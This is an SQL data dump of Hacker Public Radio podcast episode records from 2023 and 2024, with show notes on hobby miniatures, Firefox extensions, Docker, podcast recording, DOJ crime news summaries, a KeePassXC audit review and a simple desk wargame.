(3856,'2023-05-15','Painting toy soldiers',2174,'I started painting miniatures for wargames','<p>Here are the games I started painting first:</p>\n<ul>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/181304/mysterium\" target=\"_blank\">Mysterium</a>&#58; I don\'t actually like this game, but it nevertheless provided some simple plastic crystal balls that became my first paint experience.\n</li>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/192153/pandemic-reign-cthulhu\" target=\"_blank\">Pandemic: Reign of Cthulhu</a>&#58; A great game that ships with 6 hero figures and 3 shogoth figures. Very fun to paint, and I mostly used mostly cheap acrylic paint from the local art store.\n</li>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/66356/dungeons-dragons-wrath-ashardalon-board-game\" target=\"_blank\">Dungeons & Dragons: Wrath of Ashardalon Board Game</a>&#58; D&amp;D combat game with 40 miniatures of varying sizes and complexity. Really good source of cheap miniatures so you can get lots of painting practise (and you can use the miniatures in your roleplaying games and the board game).\n</li>\n</ul>\n\n<p>I have no prior experience with paint of any kind, but here are some of the resources I mentioned in the show.</p>\n\n<ul>\n<li>\nSince recording, I have invested in <a href=\"https://www.thearmypainter.com/basic-painting/spray/using-colour-primers/\" target=\"_blank\">spray-on primer</a> over the paint-on primer I mention in the episode.\n</li>\n<li>\nI\'ve been buying mostly <a href=\"https://www.games-workshop.com/en-NZ/searchResults?N=2429428449+3891072176&Nr=AND%28sku.siteId%3ANZ_gw%2Cproduct.locale%3Aen_NZ_gw%29&Nrs=collection%28%29%2Frecord%5Bproduct.startDate+%3C%3D+1683371400000+and+product.endDate+%3E%3D+1683371400000%5D\" target=\"_blank\">Citadel contrast paints</a> because they\'re readily available in New Zealand from the <strong>Warhammer</strong> (<strong>Games Workshop</strong>, in the UK) store.\n</li>\n<li>\n<a href=\"https://www.thearmypainter.com/speedpaint/\" target=\"_blank\">Speedpaint</a> by <strong>The Army Painter</strong> are similar but maybe cheaper depending on your region.</li>\n</ul>\n',78,0,0,'CC-BY-SA','game,rpg,wargame,board game,miniature,painting',0,0,1),
(4131,'2024-06-03','HPR Community News for May 2024',0,'HPR Volunteers talk about shows released and comments posted in May 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3859,'2023-05-18','My Live in Devices',1305,'Just a run down on my devices','<p>A talk about things that attracted me to purchase them.</p>\n',129,0,0,'CC-BY-SA','Tablet,headphones,PCs,Laptops,Linux,Ubuntu,Lubuntu',0,0,1),
(3861,'2023-05-22','How To find Things on your home Network',707,'How to find the lost Raspberry PI Zero on your home network','<p>Hey guys I lost my Raspberry Pi Zero W - its place in the house. I am\nnot sure if it\'s on solar power running or not. But in in any case it\'s\nnot out and about at the normal locations in my home for such items.</p>\n<p>So I use an App called Network Analyzer on my Huawei phone to find\nthe IPs in use in the home.</p>\n<p>Then use putty go and see how the PI is doing.</p>\n<p>Enjoy the Show</p>\n',129,0,0,'CC-BY-SA','Raspberry PI Zero W, android phone, Network Analyzer, putty, kitty',0,0,1),
(3868,'2023-05-31','News.',695,'Sgoti reports the recent FBI criminal reports and other news.','<h2 id=\"news.\">News.</h2>\n<hr />\n<ul>\n<li><p><strong>If you like it, help me name it.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-mdpa/pr/cambria-county-woman-charged-conspiracy-commit-health-care-fraud\"\ntitle=\"Conspiracy to commit health care fraud for defrauding Medicare.\">Cambria\nCounty Woman Charged With Conspiracy To Commit Health Care\nFraud.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Middle District of\nPennsylvania. (2023, May 11).<br />\n</li>\n<li>The United States Attorney&#x2019;s Office for the Middle District of\nPennsylvania announced that Florentina Mayko, age 39, of Cambria County,\nPennsylvania, was charged by criminal information with one count of\nconspiracy to commit health care fraud for defrauding Medicare and the\nU.S. Department of Health and Human Services between 2017 and\n2019.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edny/pr/congressman-george-santos-charged-fraud-money-laundering-theft-public-funds-and-false\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of New York.\">Congressman\nGeorge Santos Charged with Fraud, Money Laundering, Theft of Public\nFunds, and False Statements.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nNew York. (2023, May 10).<br />\n</li>\n<li>A 13-count indictment was unsealed today in the United States\nDistrict Court for the Eastern District of New York charging George\nAnthony Devolder Santos, better known as &#x201C;George Santos,&#x201D; a United\nStates Congressman representing the Third District of New York, with\nseven counts of wire fraud, three counts of money laundering, one count\nof theft of public funds, and two counts of making materially false\nstatements to the House of Representatives.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-nj/pr/new-york-man-admits-credit-card-fraud\"\ntitle=\"U.S. Attorney&#39;s Office, District of New Jersey\">New York Man\nAdmits Credit Card Fraud.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, District of New\nJersey. (2023, May 10).<br />\n</li>\n<li>During 2015, Lourenco opened 23 credit cards using the identities of\nthree victims he had befriended, two of whom were senior citizens.\nLourenco&#x2019;s victims did not know he was using their identities to obtain\nthe credit cards, nor did they authorize Lourenco to obtain the credit\ncards. Lourenco used the 23 credit cards to make more than $423,000 in\nunauthorized purchases. He also used the debit card for a joint bank\naccount belonging to two of the victims to make an additional $57,000 in\nunauthorized charges. Lourenco admitted that he knew at least one of his\nvictims was a vulnerable victim when he used the victim&#x2019;s identity to\ncommit his crime.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edok/pr/okmulgee-county-resident-sentenced-brutal-murder-0\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of Oklahoma\">Okmulgee\nCounty Resident Sentenced For Brutal Murder.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nOklahoma. (2023, May 9).<br />\n</li>\n<li>Lewis pleaded guilty to Murder in Indian Country&#x2014;Second Degree on\nSeptember 30, 2021. The investigation of the case revealed Lewis beat\nthe victim to death with a television and a coat rack after an evening\nof drinking at the victim&#x2019;s apartment. Police investigating an Emergency\nMedical Services call discovered the victim lying on the floor of his\napartment and Lewis covered in the victim&#x2019;s blood.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edtx/pr/california-man-convicted-health-care-kickback-conspiracy\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of Texas\">California\nMan Convicted of Health Care Kickback Conspiracy.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nTexas. (2023, May 9).<br />\n</li>\n<li>According to information presented in court, Donofrio conspired with\nothers to pay and receive kickbacks in exchange for the referral of, and\narranging for, health care business, specifically pharmacogenetic (PGx)\ntests. Pharmacogenetic testing, also known as pharmacogenomic testing,\nis a type of genetic testing that identifies genetic variations that\naffect how an individual patient metabolizes certain drugs. The illegal\narrangement concerned the referral of PGx tests to clinical laboratories\nin Fountain Valley, California; Irvine, California; and San Diego,\nCalifornia. More than $28 million in illegal kickback payments were\nexchanged by those involved in the conspiracy.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a><br />\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,0,1,'CC-BY-SA','Fraud, identity theft, murder, crime, conspiracy',0,0,1),
(3862,'2023-05-23','Firefox Extensions',618,'Archer72 Goes over extensions used on the Desktop and yes, Mobile too.','<h3 id=\"firefox-plugins\">Firefox plugins</h3>\n<p><em><em>uBlock Origin</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/ublock-origin\"\ntitle=\"uBlock Origin ad blocker\">uBlock Origin ad blocker</a></p>\n<p>Finally, an efficient blocker. Easy on CPU and memory.</p>\n<p><em><em>I don\'t care about cookies</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/i-dont-care-about-cookies\"\ntitle=\"I don&#39;t care about cookies\">I don\'t care about\ncookies</a></p>\n<p>Get rid of cookie warnings from almost all websites!</p>\n<p><em><em>Bitwarden - Free Password Manager</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager\"\ntitle=\"Bitwarden\">Bitwarden</a></p>\n<p>A secure and free password manager for all of your devices.</p>\n<p><em><em>Dark Reader</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/darkreader\"\ntitle=\"Convert pages to Dark Mode\">Convert pages to Dark Mode</a></p>\n<p>Dark mode for every website. Take care of your eyes, use dark theme\nfor night<br />\nand daily browsing. This eye-care extension enables night mode creating\ndark<br />\nthemes for websites on the fly. Dark Reader inverts bright colors making\nthem<br />\nhigh contrast and easy to read at night.</p>\n<p>You can adjust brightness, contrast, sepia filter, dark mode, font\nsettings and<br />\nignore-list.</p>\n<p>Dark Reader doesn\'t show ads and doesn\'t send user\'s data anywhere.\nIt is fully<br />\nopen-source</p>\n<p><a href=\"https://github.com/darkreader/darkreader\"\ntitle=\"Github page for Dark Reader\">Github page for Dark Reader</a></p>\n<p><em><em>ChatGPTBox</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/chatgptbox\"\ntitle=\"ChatGPT Extension\">ChatGPT Extension</a></p>\n<p>Integrating ChatGPT into your browser</p>\n<p><em><em>Custom Video Speed for YouTube</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/custom-youtube-speed\"\ntitle=\"Extension to control Youtube speed\">Extension to control Youtube\nspeed</a></p>\n<p>Change the current &amp; default speed of YouTube&#x2122; videos by steps of\n0.1 from 0.1<br />\nup to 8.0 using sliders, buttons, and/or the keyboard.</p>\n<p><em><em>SponsorBlock for YouTube - Skip Sponsorships</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/sponsorblock\"\ntitle=\"Block sponsors for Youtube videos\">Block sponsors for Youtube\nvideos</a></p>\n<p>Skip sponsorships, subscription begging and more on YouTube videos.\nReport<br />\nsponsor on videos you watch to save others\' time. SponsorBlock lets you\nskip<br />\nover sponsors, intros, outros, subscription reminders, and other\nannoying parts<br />\nof YouTube videos. SponsorBlock is a crowdsourced browser extension that\nlets<br />\nanyone submit the start and end times of sponsored segments and other\nsegments<br />\nof YouTube videos. Once one person submits this information, everyone\nelse with<br />\nthis extension will skip right over the sponsored segment.</p>\n<p>You can also skip over non music sections of music videos.</p>\n<p>Supports Invidious, old YouTube and mobile YouTube.</p>\n<p><em><em>Tab Stash</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/tab-stash\"\ntitle=\"Extension to stash tabs in a timestamped sidebar\">Extension to\nstash tabs in a timestamped sidebar</a></p>\n<p>A no-fuss way to save and restore batches of tabs as bookmarks.</p>\n<p><em><em>Tridactyl</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/tridactyl-vim\"\ntitle=\"Extension to browse Firefox with vim keybindings\">Extension to\nbrowse Firefox with vim keybindings</a></p>\n<p>Vim, but in your browser. Replace Firefox\'s control mechanism with\none modelled<br />\non Vim. This addon is very usable, but is in an early stage of\ndevelopment. We<br />\nintend to implement the majority of Vimperator\'s features. Control your\nbrowser<br />\nwith your keyboard only. Replace Firefox&#x2019;s control mechanism with one\nmodelled<br />\non VIM. Most common tasks you want your browser to perform are bound to\na<br />\nsingle key press.</p>\n<h3 id=\"mobile-firefox-beta\"><em><em>Mobile Firefox Beta</em></em></h3>\n<p><a\nhref=\"https://play.google.com/store/apps/details?id=org.mozilla.firefox_beta\"\ntitle=\"Firefox Beta for Android\">Firefox Beta for Android</a></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox\"\ntitle=\"Firefox Extensions page\">Firefox Extensions page</a></p>\n<h3 id=\"mobile-plugins\">Mobile plugins</h3>\n<p><em><em>Bitwarden</em></em></p>\n<p><em><em>Dark Reader</em></em></p>\n<p><em><em>I don\'t care about cookies</em></em></p>\n<p><em><em>SponsorBlock</em></em></p>\n<p><em><em>uBlock Origin</em></em></p>\n<p><em><em>Adjust Playback Speed (Youtube Playback Speed)</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/youtube-playback-speed\"\ntitle=\"Firefox extension to change playback speed\">Firefox extension to\nchange playback speed</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203233-900.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203233-900_tn.png\"\ntitle=\"Example of changing Youtube playback speed\"\nalt=\"Example of changing Youtube playback speed\" /></a></p>\n<p><em><em>Video Background Play Fix</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/video-background-play-fix\"\ntitle=\"Firefox extension to fix background playback on mobile\">Firefox\nextension to fix background playback on mobile</a></p>\n<ul>\n<li>Works on Youtube and Invidious\n<ul>\n<li>https://invidious.nerdvpn.de</li>\n<li>https://docs.invidious.io/instances</li>\n</ul></li>\n</ul>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203159-556.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203159-556_tn.png\"\ntitle=\"Mobile plugins screenshot\"\nalt=\"Mobile plugins screenshot\" /></a></p>\n<h4 id=\"example\">Example</h4>\n<p><em><em>Adding an extension to a collection</em></em></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_from_2023-05-12_10-21-19.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_from_2023-05-12_10-21-19_tn.png\"\ntitle=\"Adding an extension to a collection\"\nalt=\"Adding an extension to a collection\" /></a></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/simple-translate\"\ntitle=\"Firefox extension to provide language translation\">Firefox\nextension to provide language translation</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203051-774.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203051-774_tn.png\"\ntitle=\"Example to add an extension to mobile\"\nalt=\"Example of adding an extension on mobile\" /></a></p>\n',318,0,0,'CC-BY-SA','Firefox, Extensions, Mobile, Android, Privacy, vim',0,0,1),
(3865,'2023-05-26','When did the Internet get so boring?',1912,'Thoughts about the modern WWW','<p>You can run a Gopher or Gemini site on <a href=\"http://sdf.org/\" target=\"_blank\">SDF</a></p>\n\n<p>You can see some Gemini sites on <a href=\"https://portal.mozz.us/gemini/gem.sdf.org/\" target=\"_blank\">gem.sdf.org</a></p>\n\n',78,99,0,'CC-BY-SA','gopher,gemini',0,0,1),
(3867,'2023-05-30','Leap 15.4 Docker Install',623,'Install Leap 15.4 and Docker on an Fuji SN900 Thin Client','<p>Hi Team hope you guys are great.<br />\nI did an upgrade from 15.3 to 15.4 in leap.</p>\n<p>Then I installed docker.</p>\n<p>The hello word container</p>\n<p>And then the ubuntu bash container.</p>\n<p>https://en.opensuse.org/Docker<br />\nhttps://github.com/nextcloud/docker<br />\nhttps://doc.owncloud.com/server/10.12/admin_manual/installation/docker/</p>\n',129,0,0,'CC-BY-SA','leap, docker, 15.3, 15.4, suse, ubuntu',0,0,1),
(3876,'2023-06-12','Recording An Episode For Hacker Public Radio',478,'Sharing My Experience As A First-Time Contributor','<p>Hello again, my name is Andr&#xE9; Jaenisch, also known as Ryuno-Ki.</p>\n<p>Last week I recorded my first episode for Hacker Public Radio, the\npodcast you are listening to right now. This one is recorded on 15th May\n2023. Again I\'m publishing it under a Creative Commons Attribution\nShare-Alike 4.0 International License.</p>\n<h2 id=\"getting-contacted\">Getting contacted</h2>\n<p>I was surprised to get mentioned on the Fediverse after submitting my\nshow. You can find me there at RyunoKi@layer8.space (no dash, eight as\ndigit, link in the shownotes) in case you want to reach out to me.</p>\n<p>I\'m also delighted to have received an email even before my last\nepisode was airing. I was asked whether I am interested in recording an\nepisode on my experience with contributing to Hacker Public Radio for\nthe first time. So this is going to be the topic for today. As a warning\nupfront: I have a reputation of overthinking stuff. I blame my\nneurodiversity for it. That being said I\'m positive that sharing my\nthought process can help make the service better for everyone.</p>\n<h2 id=\"about-recording-software\">About recording software</h2>\n<p>I\'m recording this episode again using Audacity. Now there is choice\nabout which software you can use for a podcast. Online based as well as\noffline one. Audacity was in the news for sending analytics home.\nHowever I couldn\'t find any indication in the settings for it (to\nopt-out). The forks of the software weren\'t packaged up for Debian as\nfar as I could tell. Or perhaps they require an additional sources.list\nentry, I don\'t know.</p>\n<p>Before recording my very first podcast here I had only experience\nwith some video recording. Oftentimes done by the host but I also\nprepared a few videos for an online course (which I couldn\'t publish\nbecause life happened) and talks I gave during the pandemic years.</p>\n<h2 id=\"learning-about-how-to-podcast\">Learning about how to\npodcast</h2>\n<p>As I often do when I enter a new subject, I went to the library and\ngrabbed some books to learn more. In particular I lended Podcasts by\nDirk Hildebrand. A <a href=\"https://shop.haufe.de/prod/podcasts\">small\nbook</a> in German published at Haufe. I add a link in the\nshownotes.</p>\n<p>Reading through it I learned that I\'m doing okay. It\'s really easy to\nstart a podcast as HPR promises! The thing I should spend some attention\non is keeping a consistent distance to the microphone, enable some level\nof feedback during the recording so that I can listen to what is\nrecorded while speaking (using my gaming headset Logitech G230) and\nprepare a script.</p>\n<p>I don\'t have to think about designing images for the show or episode\nbecause HPR will take care of that for me. It might be different if I\nstart my own podcast. Perhaps using <a\nhref=\"https://funkwhale.audio/\">Funkwhale</a> or <a\nhref=\"https://castopod.org/\">Castopod</a>. Right now I\'m not taking\nsteps towards that. Mainly because I need to rent some webspace first.\nIn my experience streaming media takes considerable amount of bandwidth.\nPair that with hosters that try hard to convince you to buy your domains\nwith them as well and the choice shrinks. I have my DNS provider\nalready, thank you very much.</p>\n<h2 id=\"adapting-lessons-learned\">Adapting lessons learned</h2>\n<p>I looked into how to do that in Audacity and I think the best I could\ndo for now is hitting on the microphone icon next to the meters in the\nupper right of the interface and enable observation before I start\nrecording. Also leaving a little bit of time before and after the\nrecording allows me to cut keyboard clicks for starting and stopping the\nrecording. In HPR 3802 I also learned about skipping silences which is a\nEffect in the Special category here. I hope I don\'t have pauses so long\nthat it warrants to truncate them.</p>\n<p>My main thought about going with Audacity was post-processing\ndirectly after the recording. I learned from my talks that I already\nfeel comfortable with a script in front of me. It gives me the security\nI need to avoid too many ums.</p>\n<h2 id=\"whats-missing-on-hpr\">What\'s missing on HPR</h2>\n<p>However, I feel like a few things are missing. Considering that this\nis a podcast that is distributed through HPR and its partners I would\nlike to have chapter markers. I couldn\'t find a hint on how to add them\nin the form I was presented. Using timestamps it allows to easily see\nthe outline of a recording which aids in the decision making process on\nwhether it\'s worth the time to listen to a particular episode. I hope\nyou consider the episodes here useful to make time for them :) Thank\nyou.</p>\n<p>Another question mark I had when preparing the recording were the\nsettings. I\'m used to have a guideline when recording videos for an\nonline talk. Things like preferred format and container, to technical\ndetails like stereo or mono to the sampling rate (value and whether\nstatic or variable). The only thing I found is a hint that submissions\nwill be transcoded to mono. I record in stereo with the default 44,1 kHz\nsampling rate here. There was no recommendations on the format so I went\nwith OGG Vorbis instead of MP3 because of license freedom. Audacity\nappear to not support FLAC so I have to use a lossy format. It\'s true\nthat MP3 enjoys wide support, but I want to encourage freedom when given\nthe choice. I could have chosen WAV files but those tend to become huge\nreally fast.</p>\n<h2 id=\"adding-metadata\">Adding metadata</h2>\n<p>Now I also add metadata to the recording. Vorbis offers comments for\nthat. You can compare it to ID3 tags for MP3 files. Given that I\ncouldn\'t find a way to enter these chapter information in HPR web forms\nI\'m experimenting with EasyTAG from the debian repository. From reading\nthe source code of my podcatcher of choice (AntennaPod for Android as\ndistributed in the F-Droid app store) I can tell that it parses these\ncomments at least. If that doesn\'t yield results I hope to see, there is\nvorbiscomment of the vorbis-tools package for the command line. And Kid3\nwith a Qt or CLI interface. Expect some slightly different metadata by\nme over the course of my contributions.</p>\n<h3 id=\"writing-shownotes\">Writing shownotes</h3>\n<p>Last thing I want to highlight before ending this episode is\nshownotes. Now I have more experience with blogging than recording a\npodcast. When researching recommendations online there is all this SEO\nfluff that goes into writing subtitles. Usually with catchy titles,\nclickbait and all the rest. I have opinions here. However, I enjoy that\nthere is no &#x201E;leave a rating and a review&#x201D; part in the episodes I\nlistened to so far, because a podcast is a special RSS feed basically.\nWhy would I want to bind myself to a special platform? But then I also\nwant to be able to read up and search through the content of a podcast\nepisode. Right now I\'m sharing my prepared script as a shownote. It\ncould come off as a wall of text. I\'m open to feedback on this front.\nYou can find my Keyoxide profile below. Please do reach out to me.</p>\n<h2 id=\"closing\">Closing</h2>\n<p>And that\'s it for today. I thank you for listening to me. Looking\nforward to hear from you. Be it in writing or as an episode on HPR.</p>\n<p>Homepage: <a href=\"https://jaenis.ch/\">jaenis.ch</a><br />\nE-Mail: <a\nhref=\"mailto:andre.jaenisch.wdc@posteo.net\">andre.jaenisch.wdc@posteo.net</a><br />\nKeyoxide: <a\nhref=\"https://keyoxide.org/andre.jaenisch%40posteo.de\">andre.jaenisch@posteo.de</a><br />\nMastodon: <a href=\"https://layer8.space/@RyunoKi\"><span class=\"citation\"\ndata-cites=\"RyunoKi\">@RyunoKi</span><span class=\"citation\"\ndata-cites=\"layer8.space\">@layer8.space</span></a></p>\n',419,0,0,'CC-BY-SA','hpr,reflection,audacity,recording,metadata',0,0,1),
(3877,'2023-06-13','KeePass X.C. audit review.',2552,'Sgoti discusses the Keepass X.C. audit by Zaur Molotnikov','<ul>\n<li><p><strong>Article:</strong> <a href=\"https://keepassxc.org/\"\ntitle=\"Completely open source under the GPLv3 license.\">KeePassXC -\nCross-platform Password Manager.</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://keepassxc.org/assets/pdf/KeePassXC-Review-V1-Molotnikov.pdf\"\ntitle=\"Author: Zaur Molotnikov, zaur@molotnikov.de\">KeePassXC\nApplication Security Review</a><br />\n</p>\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://github.com/keepassxreboot/keepassxc/releases/tag/2.7.4\"\ntitle=\"Release 2.7.4\">KeePassXC Release 2.7.4</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://github.com/keepassxreboot/keepassxc/releases/tag/2.7.5\"\ntitle=\"Release 2.7.5\">KeePassXC Release 2.7.5</a><br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide\"\ntitle=\"KeePassXC Team team@keepassxc.org version 2.7.1\">KeePassXC: User\nGuide.</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Magic_(cryptography)\"\ntitle=\"From Wikipedia, the free encyclopedia\">Magic\n(cryptography).</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Federal_Information_Processing_Standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">Federal Information\nProcessing Standards.</a><br />\n</p>\n<ul>\n<li>The Federal Information Processing Standards (FIPS) of the United\nStates are a set of publicly announced standards that the National\nInstitute of Standards and Technology (NIST) has developed for use in\ncomputer systems of non-military, American government agencies and\ncontractors. FIPS standards establish requirements for ensuring computer\nsecurity and interoperability, and are intended for cases in which\nsuitable industry standards do not already exist. Many FIPS\nspecifications are modified versions of standards the technical\ncommunities use, such as the American National Standards Institute\n(ANSI), the Institute of Electrical and Electronics Engineers (IEEE),\nand the International Organization for Standardization (ISO).<br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.nist.gov/itl/fips-general-information\"\ntitle=\"The National Institute of Standards and Technology (NIST)\">FIPS\nGeneral Information.</a><br />\n</li>\n<li>FIPS are standards and guidelines for federal computer systems that\nare developed by National Institute of Standards and Technology (NIST)\nin accordance with the Federal Information Security Management Act\n(FISMA) and approved by the Secretary of Commerce. These standards and\nguidelines are developed when there are no acceptable industry standards\nor solutions for a particular government requirement. Although FIPS are\ndeveloped for use by the federal government, many in the private sector\nvoluntarily use these standards.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.logitechg.com/en-us/products/gaming-mice/g502-hero-gaming-mouse.910-005469.html\"\ntitle=\"G502 HERO High Performance Gaming Mouse.\">G502 HERO High\nPerformance Gaming Mouse.</a><br />\n</p>\n<ul>\n<li>Dual-Mode Hyper-Fast Scroll Wheel<br />\n</li>\n<li>Unlock the scroll wheel for hyper-fast continuous scrolling to spin\nquickly through long pages, or lock it down for single click precision\nscrolling. The weighty, metal wheel delivers confident, smooth and\nsatisfying control for either mode.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<h3 id=\"general-keepassxc-information.\">General KeePassXC Information.\n&#xA0;</h3>\n<ul>\n<li>Why KeePassXC instead of KeePassX?<br />\n<ul>\n<li>KeePassX is an amazing password manager, but hasn\'t seen much active\ndevelopment for quite a while. Many good pull requests were never merged\nand the original project is missing some features which users can expect\nfrom a modern password manager. Hence, we decided to fork KeePassX to\ncontinue its development and provide you with everything you love about\nKeePassX plus many new features and bugfixes.<br />\n</li>\n</ul></li>\n<li>Why KeePassXC instead of KeePass?<br />\n<ul>\n<li>KeePass is a very proven and feature-rich password manager and there\nis nothing fundamentally wrong with it. However, it is written in C# and\ntherefore requires Microsoft\'s .NET platform. On systems other than\nWindows, you can run KeePass using the Mono runtime libraries, but you\nwon\'t get the native look and feel which you are used to.<br />\n</li>\n<li>KeePassXC, on the other hand, is developed in C++ and runs natively\non all platforms giving you the best-possible platform\nintegration.<br />\n</li>\n</ul></li>\n<li>Why is there no cloud synchronization feature built into\nKeePassXC?<br />\n<ul>\n<li>Cloud synchronization with Dropbox, Google Drive, OneDrive,\nownCloud, Nextcloud etc. can be easily accomplished by simply storing\nyour KeePassXC database inside your shared cloud folder and letting your\ndesktop synchronization client do the rest. We prefer this approach,\nbecause it is simple, not tied to a specific cloud provider and keeps\nthe complexity of our code low.<br />\n</li>\n</ul></li>\n<li>KeePassXC allows me to store my TOTP secrets. Doesn\'t this alleviate\nany advantage of two-factor authentication?<br />\n<ul>\n<li>Yes. But only if you store them in the same database as your\npassword. We believe that storing both together can still be more secure\nthan not using 2FA at all, but to maximize the security gain from using\n2FA, you should always store TOTP secrets in a separate database,\nsecured with a different password, possibly even on a different\ncomputer.<br />\n</li>\n</ul></li>\n<li>How do I use the KeePassXC CLI tool with the AppImage?<br />\n<ul>\n<li>Starting with version 2.2.2, you can run the KeePassXC CLI tool from\nthe AppImage by executing it with the <code>cli</code> argument:<br />\n</li>\n<li><code>./KeePassXC-*.AppImage cli</code><br />\n</li>\n</ul></li>\n</ul>\n<h3 id=\"additional-information.\">Additional Information.</h3>\n<ul>\n<li>What Is Infinite Scrolling?<br />\n<ul>\n<li>Infinite scrolling is a technique that loads more content as you\nscroll. It allows you to continue scrolling indefinitely and is\nsometimes known as endless scrolling.<br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.hackerpublicradio.org/eps.php?id=3568\"\ntitle=\"Hacker Public Radio\">blackeRnel Tries to help yoU undeRstand\nEnough about math and programming.</a><br />\n</li>\n</ul>\n',391,0,0,'CC-BY-SA','KeepassXC, audit, Zaur Molotnikov',0,0,1),
(3869,'2023-06-01','5 minute war game',836,'I made up a game so I could play with my painted toy soldiers while waiting for code to compile.','<p>Grab some toy soldiers (Games Workshop, BattleTech, Lego, whatever), a handful of six-sided dice, and clear off a 20x20 cm space on your desk.</p>\n\n<p>Arrange the soldiers within the play area. Place 3d6 by each soldier.</p>\n\n<p>On its turn, a soldier may move or attack. Never both.</p>\n\n<p>To attack, remove 1d6 from a soldier\'s dice pool and roll it. Ranged attacks hit on 4 or greater. Melee attacks hit on 3 or greater.</p>\n\n<p>When a soldier takes damage, remove 1 die from its dice pool.</p>\n\n<p>When a soldier\'s dice pool is reduced by damage to 0 or less, tip it on its side to signify that it is dead.</p>\n\n<p>The last soldier or soldiers left standing when there are no dice in the play area wins.</p>\n\n<p>These rules are Creative Commons CC BY-SA 4.0, but you can also download them  from <a href=\"https://notklaatu.itch.io/skuffle-wammer\" target=\"_blank\">Itch.io</a></p>\n',78,95,0,'CC-BY-SA','game,rpg,wargame,board game,miniature,painting',0,0,1),
